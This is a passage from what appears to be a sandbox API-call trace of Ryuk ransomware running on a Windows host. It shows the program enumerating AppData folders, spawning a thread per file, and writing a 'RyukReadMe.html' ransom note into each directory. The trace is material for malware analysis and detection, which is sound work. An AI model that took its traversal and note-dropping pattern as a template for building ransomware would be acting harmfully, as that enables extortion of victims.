	[0258.747] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0
	[0258.748] GetLastError () returned 0xb7
	[0258.748] CloseHandle (hObject=0x6f0) returned 1
	[0258.748] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0258.748] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.748] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0258.748] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0258.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec
	[0258.750] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.751] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
	[0258.751] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0258.751] SetLastError (dwErrCode=0x0) 
	[0258.751] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.751] GetLastError () returned 0x3
	[0258.751] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0258.751] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.751] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1de, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0258.751] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2bc126f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0258.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0
	[0258.753] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.753] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
	[0258.753] SetLastError (dwErrCode=0x0) 
	[0258.753] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8
	[0258.754] GetLastError () returned 0xb7
	[0258.754] CloseHandle (hObject=0x6e8) returned 1
	[0258.754] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0258.754] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.754] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0258.754] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0258.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700
	[0258.757] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.757] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1
	[0258.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704
	[0259.006] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.006] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 0
	[0259.007] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0259.287] SetLastError (dwErrCode=0x0) 
	[0259.287] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.287] GetLastError () returned 0x3
	[0259.287] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0259.287] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.287] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0
	[0259.287] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0259.287] SetLastError (dwErrCode=0x0) 
	[0259.287] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.288] GetLastError () returned 0xb7
	[0259.288] CloseHandle (hObject=0x6f8) returned 1
	[0259.288] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1
	[0259.288] SetLastError (dwErrCode=0x0) 
	[0259.288] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.288] GetLastError () returned 0xb7
	[0259.288] CloseHandle (hObject=0x6f8) returned 1
	[0259.288] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0259.289] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.289] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x78bd9d60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x3c1f2, dwReserved0=0x1de, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1
	[0259.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0259.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8
	[0259.301] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.302] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x78bd9d60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x3c1f2, dwReserved0=0x1de, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0
	[0259.302] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0259.302] SetLastError (dwErrCode=0x0) 
	[0259.302] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.302] GetLastError () returned 0x0
	[0259.302] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0259.305] CloseHandle (hObject=0x6f8) returned 1
	[0259.306] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
	[0259.306] SetLastError (dwErrCode=0x0) 
	[0259.306] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.306] GetLastError () returned 0xb7
	[0259.306] CloseHandle (hObject=0x6f8) returned 1
	[0259.306] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0259.307] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.307] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0259.307] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0259.307] SetLastError (dwErrCode=0x0) 
	[0259.307] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ime12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.308] GetLastError () returned 0x0
	[0259.308] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0259.310] CloseHandle (hObject=0x6f8) returned 1
	[0259.310] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
	[0259.310] SetLastError (dwErrCode=0x0) 
	[0259.310] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.310] GetLastError () returned 0xb7
	[0259.310] CloseHandle (hObject=0x6f8) returned 1
